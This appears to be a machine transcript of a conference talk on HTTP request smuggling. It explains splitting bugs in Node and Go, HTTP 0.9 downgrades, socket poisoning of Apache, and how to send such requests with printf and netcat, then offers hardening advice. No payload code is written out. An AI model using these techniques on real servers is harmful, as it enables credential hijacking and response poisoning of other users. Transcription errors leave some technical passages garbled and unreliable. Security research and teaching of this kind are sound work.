So, we are all set. Let's learn about HTTP. Let's give our, uh, rather nervous speaker a, uh,
big round of applause and make him feel comfortable.
Okay, so, we should add some demo, but maybe it won't work. Uh, no demo. Mic. Like this. Okay. So,
it's Sunday morning. I hope you are all well enough. So, this would be about HTTP. So, why
Wookiees? Um, Wookiees because this is about smuggling and Wookiees are smugglers. And, uh,
also because the Wookiee language is a thing, uh, quite hard to understand. Um, easy to
misinterpret. So, this was the nice thing for HTTP.
So, what are we going to talk about? Um, something about the, um, HTTP that you need to
know. Uh, what is HTTP injection? Uh, some recent, some, some recent attack vectors.
HTTP 0.9, which is an old version. Uh, maybe not the demo. You'll get to trust me. And, uh,
maybe we'll talk about the tool I wrote, which is called HTTP Wookiee.
So, who am I? Uh, Regiliero, because it's French. Um, French, uh, yes, it's not Wookiee,
but maybe sometimes you won't understand my words. Uh, I work, I work on the very small
French, uh, free software web company, which is called Machinacorpus. Uh, 50 people. I'm a
dev-op. I've always been a dev-op, so it means I'm a sysadmin and I'm a developer. Um, web
security is just a very small part of my job and it's part of my spare time also. S- and this is
important because if I can do it on my spare time, uh, some other people might be doing it, uh,
better than me. So, why did I start testing my tools? Uh, I work every day with open source
HTTP servers and I like these tools a lot. Uh, and, uh, I, I, uh, I, uh, I, uh, I, uh, I, uh, I, uh,
I use to trust these tools a lot, but I found two very interesting papers. The first one is
HTTP host header real world attacks. And this is about, uh, very old stuff in HTTP which is the
absolute in location. Uh, there are some tricks with these so you can attack the host header on
HTTP. And there are real, uh, threats with HTTP, uh, and for example, it's, uh, uh, uh, a
these sorts of attacks um 2015 for example. The other one is a study from 10 years ago, 11
years ago which is HDP smuggling and everything is inside. Most of the things I can tell you
today are already inside but it's like everyone forgot it. So what is HDP smuggling? Uh it's
a protocol level attack. So it's injection and everything always is injection. Here we are
gonna inject HDP in HDP. So we're gonna have more requests or more responses than we should.
Um to do this we craft low level HDP messages. By definition you cannot do this with the
browser on or an HDP library because um they do not make mistakes. So the goal is to make
mistakes. Um when you make mistakes usually you get errors but not always. So before we start
the first things on HDP is the very old version of HDP was one TCPP connection for each
resource. Like you can see on the screen here. So the first thing you need to do is make a
connection. You want a file. You want an image. You want the CSS file. You need one new TCP IP
connection for each resource. Then you do the SYN SYN HACK HACK thing. You make your request. You
get your response. And then you try to close the TCP IP connection um um there are problems when
you try to close because we are not sure you get the the answer. Um this is a big performance
killer of course because you may need a lot of TCP IP connection. So you need a lot of TCP IP
connection. So they may keep live on HTTP one on one. That is you will reuse the same
connection and when you get the your response you can make another request. You'll get a new
response and you make another request. And you can in fact you can usually your browser will use
six TCP IP connection and do this. Unless you you're using HTTP two it's what you are. Um
there's also something that most people doesn't know. There's pipelines. So instead of waiting for
each response before doing the next query you can send every query and wait for the every
responses. On the example you can see that I made four queries and I get three response only
which is a load. But the important thing is the other of the responses. So the other of the responses
is huge. You get to wait for this response before having the next one. So this is called
out of line blocking. And this is also a performance problem. And this is one of the reasons of
HTTP two. Um the other reason of HTTP two is smuggling. Because you depend only on the order
of the messages. Um um
in HTTP two you've got a real binary multiplexing thing where each response can be associated
with the request and it's better. If you get a reverse proxy like a
SSL terminator or reverse proxy cache uh the things if you make a pipeline to the reverse proxy
the reverse proxy will talk to the back end without the pipeline. It will make just a simple uh uh
HTTP one dot zero or one dot one KIP alive connection but it will not use the pipeline when it
talks to the back end. The problem is the back end doesn't know that there's no pipeline. So if
you can make the reverse proxy play something which looks like a pipeline the back end may see
several requests. And send several response but the reverse proxy doesn't want several responses.
smuggling. Um you've got one example here where I send something which should be only one
query but the final um step has a sp- splitting issue so now you've got two queries and
you've got one extra response and the problem is on the question mark. What do you do when
you've got one extra response? And you've got two type of things which are the transmitter
which transmit the bad syntax and you've got the splitter which splits on these bad syntax
and the two are problem- problems but the splitter is the real problem. So why do you do
HTTP smuggling? Maybe just because you want to hide a query? So maybe the reverse
proxy would like to prevent this sort of query to happen but it doesn't see the query. Uh you
can make crash, you can crash a lot of things when bad syntax are used. You can try to shift the
response stream like uh if you insert one extra response on the pipeline you may really shift
the- the stream and do cache poisoning. And you may also try to adjust the response to the
user credentials on HTTP by using incomplete queries. Um this is uh the thing on the- on
the demonstration. All these things were described in 2005 already. So we also need exploits.
Oh. Mm-hmm. It's not me. It's not me. It's not me. It's not me. It's not me. It's
the Mac.
It's my day.
So the exploits, it's all about size because we are in the pipeline. We have got- we've
got several messages in the pipeline. Each one has his own size. So the goal is to alter the
size. You can make double content length errors so people doesn't know which one is the right
one and this is strictly forbidden. You can play with your experiences as well. You know, I want to
content length and chunked transmission and you should not play with both. Um on chunked
transmission you do not have a length for your message you say I will send things and when you
see the end of chunk marker it's the end of the message. Uh you could use invalid errors or
invalid values like the content length with a space is not a valid error. Uh you could use
also invalid end of lines like the first one the real end of line is CRLF you could try to use
LF also it's almost valid but CR is not valid as an end of line. Um you could also try to use
very old features of HTTP which are still there. Like HTTP zero nine like uh multi-line
errors which are in the RFC.
So the first demo um at least you can read the the thing. Um here this should make an
ejecting credential exploit. So here you've got some real world uh exploitation like this was
working on node before the version five dot six. It's a splitting issue. Um you should always
have CRLF for now for end of line. But for node if you had the CR they thought that they
do not read, need to read the next character because it's always LF. But if it's not you've got
a problem. So on on the example you've got the dummy header and then you've got the CR on a Z character
which is not an LF um any other thing. So for uh for other things if you have an alternative like uh
everybody this is just one error which is dummy error CRZ transfer encoding chunked it means
nothing. But for node there are two errors. The first one is dummy error which means
nothing and then there's a transfer encoding error. So for everybody this request is one
request and in blue you've got the body of the request and you can make a get request with
the body. It's allowed. So this is just one request with a binary body that nobody reads.
But for node you've got transfer encoding chunked and there's a pri- priority and chunked
always has the priority on content length. So it doesn't it does not read content length. It
reads chunked. And the first bytes of the body is the end of the request. So this is the
end of chunk marker. So after the end of chunk marker you've got a new request in the
pipeline. You've got a post request. And this post request is please delete user two. Um
there's another thing um on this second request. There's a partial there's a partial error at
the end. So um it's an untaminated post request. Not a valid request. So you can see that
if the node is still waiting for the end of this request. So what could happen if you've got
a reverse proxy in front of node with a KPI connection with node um the first proxy get the
first response. Like if you think it's thinking this is one query I need one response. So it get
one response. Then so after the dot return you can do the length even. And you can look for when
waiting for a second query and another user, like the admin
user, is there, sends a query, any query, and the query gets
appended to the inter-unterminated one. With the
new user credentials, like the cookie, like an HTTP
authentication credential, and then the admin user is doing a
post user delete to, without requesting it. So, uh, I cannot
show you, because there are problems with the screens, but
at least I can show you, uh, what happens. Um, I'm the
attacker, uh, I send a request to Varnish, which is a reverse
proxy cache, and this request is the request you just saw, like
you've got, in fact, two, uh, uh, uh, uh, uh, uh, uh, uh, uh,
two requests, but it's just one. Um, the request goes to node and
that is a splitting issue, so he's, uh, and he, no things,
there are two requests, and he sends back one response. Then
another user came for, um, new request, which is request C.
Varnish reused a Kippen Dive connection with a back-end, so
send the request C, which is appended. It beast it to the, uh, Car, because, uh, uh, uh, you're got one Primary Of zabba. If
to the unterminated request and then get response B which was my hidden request. Um the user
2 is deleted. Uh only if you do not have um CSR protection on the post request. So this is
a way to run this attack. It's just a request I run it uh on Linux with a printf and netcat
just to put the contents in a TCP IP connection. And I do it uh 150 times just to feed
every varnish um TCP IP connection uh in the pool of backend connection with a node and it
works. Believe me. You can try. You've got everything on the CD if you want to try. It
it worked um before it was fixed on node. Um so this is a way to run this attack. Um
there was a second demo. Um and this one is about HTTP 0.9. So HTTP 0.9 is something awful
which should not exist. Uh it was the very very first version of HTTP where you do not have any
errors. So you've got an example of what is HTTP 0.9 1.0 and 1.1. On 0.9 you do not have the
error code version. It's just the method on the location. And no errors. No errors it means
also no errors on the response. But the security of HTTP is in the errors. Like the content
type, the cookies, the content security policies, the content length. Everything is on the
errors. On HTTP 0.9 you've got just the body of the answer. So it's just text stream. Um if you've
got a text stream maybe you can make this text stream looks like a real HTTP response with
errors. So for example you could make an image and the content of the image instead of being a
binary thing would be uh an HTTP response with errors. And if you request this image in 0.9
mode it may looks like an HTTP response. You could also try to add uh uh a text stream. So if
you have this part this HTTP message in in the exit data of the image and make a range query to
get only this part of the image. So you get a real image and if you request through the the
right part of the image you've got an HTTP response. But you should not be able to do a range
request in HTTP 0.9 mode. So another another problem uh uh is that you have to do a
cache poisoning. Is the no cache poisoning. Like maybe you know about cache poisoning in
HTTP but for cache poisoning you need the cache. No cache poisoning is is in fact socket
poisoning. Like take TCP TCP IP sockets and you add response on the sockets. Um another user
when the socket is reused get the response. So this is a real thing on FHE. For example you can
see the code in the cache. Uh so it's a very simple uh uh uh code. So this uh uh this is a
very simple. So this was the thing we could try like here we've got uh a splitting issue on
Go. Uh where Go uh is fixing your um your syntax. Like transfer encoding with a space is
fixed as transfer dash encoding. Uh so for everyone uh the line transfer encoding chunked
means nothing but for go it's a real line so same as before the blue part uh is no new request
um there's the no cache poisoning we use it uh there's another bug on go which is that we can
ask for http 0.9 which does not exist and this makes a 0.9 query it should not work this way
and there's a third bug on go where we can make a range query in 0.9 mode it should not exist
because in 0.9 mode we should not read the request headers so you make a request uh with a
splitting issue on the golang reverse proxy for example yeah i've got an apache reverse proxy
which transmit the request to go i've got a splitting issue on go
so go is doing this request against engine links it targets an image and takes only
the http part of this image which gets back in http 1.1 mode but for go it's an http 0.9 request
so it removes the headers of the response and sends you back the real thing
um it's hard to understand without demonstration but it works it means i can um request with go
an http response which is hidden in an image on a server um inject this response on the
streams of1 response but there's another problem for apache if we get back there was only1 request
and it gets1 response then there's a new response
scans back, which was the response hidden in the image, and for Apache there's nothing to
do with this response so nothing's happened and the response is stored on the TCP IP
connection. Then, when a new request is coming for Apache from anybody, Apache re-use the
same TCP IP connection with the backend, send a new request and read on the TCP IP
connection to see maybe I have a response inside and you see that he has a response and takes
it and send it back to the user. Just before getting the real response which was, hey, no, you
should not re-use this connection. This is on RST on TCP IP because there was a 0.9 response so
you should not re-use the connection. But it's too late. The, the, the message was stored and
was sent back to the user. So you can store a response in Apache and get this response with
maybe an XSS or maybe everything you want like any header you want, any content security policy
header and send it back to every user. So this is the way to do it if you want. You need to run a
lot of requests because you need to feed every TCP IP connection. And this is the way to do it.
And, um, I cannot show, show it to you, but it works. Um, what can I say about it? The real
problem on these things are the splitting issues. Um, if we get back just a little, here,
this is the real problem on Go and it's fixed now. Uh, as soon as you have a splitting issue, you
have a lot of people coming to the server and if, um, you have to re-use the connection. So
when you, um, use a split issue, bad things happens like having an extra response sends back.
Um, for Apache the fact that you've got the no cache poisoning is a public issue. It's not a
security issue because they consider that there was a security issue for Go. There was a
splitting issue and what happens after that is not their problem. It's a little their problem
but it's complex to manage. If you think that, uh, there is no security issue for Go then
the, the backend is doing bad things, you cannot do anything.
So, for every splitting issue you should get a CVE, because
for me it's quite critical, uh, but usually project leaders do
not like, uh, doing CVE on these things and maybe sometimes they
do not understand how you can exploit the, the injection. Um,
because of so they do not want people to try to do things, uh,
with these issues. The other issues are transmission of the
strong syntax, like, yeah, I had something which is quite very
strong syntax, like transfer encoding with a space. You
should not have any header with a space in the header title. Um,
a reverse proxy could detect that this header is invalid and
could, uh, you know, uh, uh, uh, uh, uh, uh, uh, uh, uh, uh, uh,
reject your query, but usually they do not do these. So,
there's a big problem of responsibility, because everyone
is trusting every other one, uh, no one wants to take the full
responsibility of the problems on things which looks like
smaller things. For security researcher, uh, a warning, you
will not have access to the Internet, which is a very, uh,, uh, uh, uh, uh, uh, uh, uh, uh, uh, uh.
on money with uh, HTTP smuggling because you cannot test it uh, like an XSS thing. You cannot
take a public infrastructure and try to break everything because you won't be the only one
impact- impacted on this. You may crash everything, you may send back response to people
that have nothing to do with you. So it's very hard to test on public uh, servers. Uh,
I earned one uh, bounties with a Golang issue uh, from Google but it was unexpected and it's
very hard to usually explain to people that maybe they shouldn't get their servers. Uh, the
other thing is that we should have more people reading the code of HTTP servers. Like there
are a lot of issues which are still there and we need a lot more people to read the code. So
we were trying to be, to let people which really do not trust blindly the code. Um, things
get better, uh, years after years the issue gets fixed and you should really try to upgrade
uh, to avoid problems. Some other exploits maybe because we cannot see them also we can
take time on the exploits. Uh, I had some exploits on ng- links for example. Uh- some new
like there are integrals overflows. This cannot be used with NGINX as a reverse proxy, but if
you've got NGINX as a backend, you can try strange things with, um, very long numbers. This
was fixed last year. Uh, there's another issue which is fixed only in Trang currently, which is
a 0.9 downgrade using HTTP 65536.9 or .8, where you can even use a post. And this is, uh, 0.9
query for NGINX. So you get no errors in the response. This is usually not transmit- transmitted
by the reverse proxy to NGINX. Like, you need to- to exploit these sort of things, you need to
get NGINX as a backend. So, uh, this is a- this is a- this is a- this is a- this is a- this is a
a request, this is a request that can- and you need a reverse proxy which transmits this bad
syntax. And this usually doesn't happen. But in the past, HAProxy was transmitting this to
NGINX. And HAProxy is one of the best HTTP tools against smuggling. Um, another one here,
it's, uh, CVE against Varnish. Uh, we had this here and offline was valid. And you could also
there's another one but I can't remember what, what, what, I can't read it. Another one on
Apache, like it's on the chunk size attribute so when you do chunk transmission you've got
chunks with a size. Um, there was a like only the 31 first character are reads. So you
can use zero character and try to utter the size of the chunks. This is now fixed of course.
Um, there are all the other exploits I showed previously in Go, in Apache, like the
no cache poisoning in Node. And there's also averse people, other people's we fix, which
fix other flows like we had one in a Python URL lib recently. Um, there's a lot of
things that you can do. And, uh, on Node there were avers. So how do you protect
against this? The first thing is to use the last RFC which is uh, 7230. And a lot of people
are still using the very old RFC for HTTP 101 which is really very, very old. You should
really try to reread the RFC because on this new version, you can see that the RFC is
Um, there are lots of things against smuggling. Like they said you should try to avoid uh uh
chunked and cut- and-length. You should really avoid rewriting your own RFC because it's a very
hard stuff but in case of, if one day you try to write a RFC, the goal of a RFC is to rewrite all others in a very clean way. Do not take blindly the others I sense.
and give it to a backend. Uh, you should try to read books on TCP, IP, s-socket connection
because it looks like something like an abstraction which is simple but in fact it's really
not simple. You should also think about browser and browser do not make HTTP errors. Uh,
a lot of HTTP server are still allowing a lot of things like HTTP 0.9 because they don't
because of, uh, monitoring tools which use 0.9 or because of bots or because of bad
implementation on the wide. But I think you should reject bad in implementation and you
should restrict, uh, uh, what you allow in HTTP. You should be intelligent and this is one
of the problem. There is this sentence, uh, which was in general an implementation should
be conservative in its sending behavior.
On liberal and its receiving behavior. But maybe it's wrong. Maybe the, the right thing is
not li- it's not being liberal. It's being robust. Like you should think that you may get some
bad things and you shouldn't. That's the thing. Maybe you need a special error message, maybe.
But do not fix the things bl- blindly. And there's a new RFC uh which is called Draft Thompson
Postel was wrong which is talking about this thing. We should not be inter-realt on, on the
protocol implementation. I think also, also that you should be able to get more option on, on
the HTTP server configuration like you should say I do not want to support HTTP 0.9. Because
even today you may get an HTTP 2 server uh in Go for example, you've got very nice HTTP 2
server but there's still the HTTP 0.9 support inside. And you should also be able to get the
keep alive thing without the pipelining. So there's no option to say there's no pipelining on
this server. You could also try to get back to HTTP 1.0 but you'd get some problems of
performance. Um, I don't know, I don't know, I don't know, I don't know, I don't know.
You may also think, I was thinking this, that adding a reverse proxy will secure your
installation and maybe in fact it's the contrary. Every time you add another layer maybe you
add another issue. The reverse proxy trusts the backend response and it's the way it works
and we never think it works this way. It means if you've got a reverse proxy and you've got a backend with a
PHP application and you let everyone write PHP application, everyone can break your reverse
proxy simply by sending several response, several responses. So the reverse proxy will always trust
the things from the backend and we do not think the, this is the case. Um, think about things like
HAProxy because it's a very good tool to, to remove everything which is strange. EngineX as a reverse
proxy is also quite nice. Uh, the next APHee modproxy will have the strict protocol option which is nice.
Is HTTPS protection? No, it's just a layer. So it's not a full protection because inside, after the SSL thing, you've got just HTTP 1.0.1.
um, and maybe when you add an SSL terminal, you just added one, another, uh, HTTP server,
but HTTPS is great, of course. Is HTTP 2 protection? Yes, of course, it's better against
smuggling, but you can always ask HTTP 1.1 for an HTTP 2 server. It's just another transport
layer. Just, uh, so, uh, so, uh, so, uh, so, uh, so, uh, so, uh, so, uh, so, uh, so, uh,
first, the last thing I wanted to it's called HTTP Wookie. Uh, it's an op, open source tool.
I will well, we'll use it today or maybe tomorrow. When the tests, the goal is this thing
is to test, uh, reverse proxy implementations, and diffuse HDP. Um, I need to remove some
of the tests which are not fixed yet everywhere.
But if you need to fuzz your own server, you could use this tool.
If you've got any questions, I will be outside.
And that's it.
And thanks for everyone.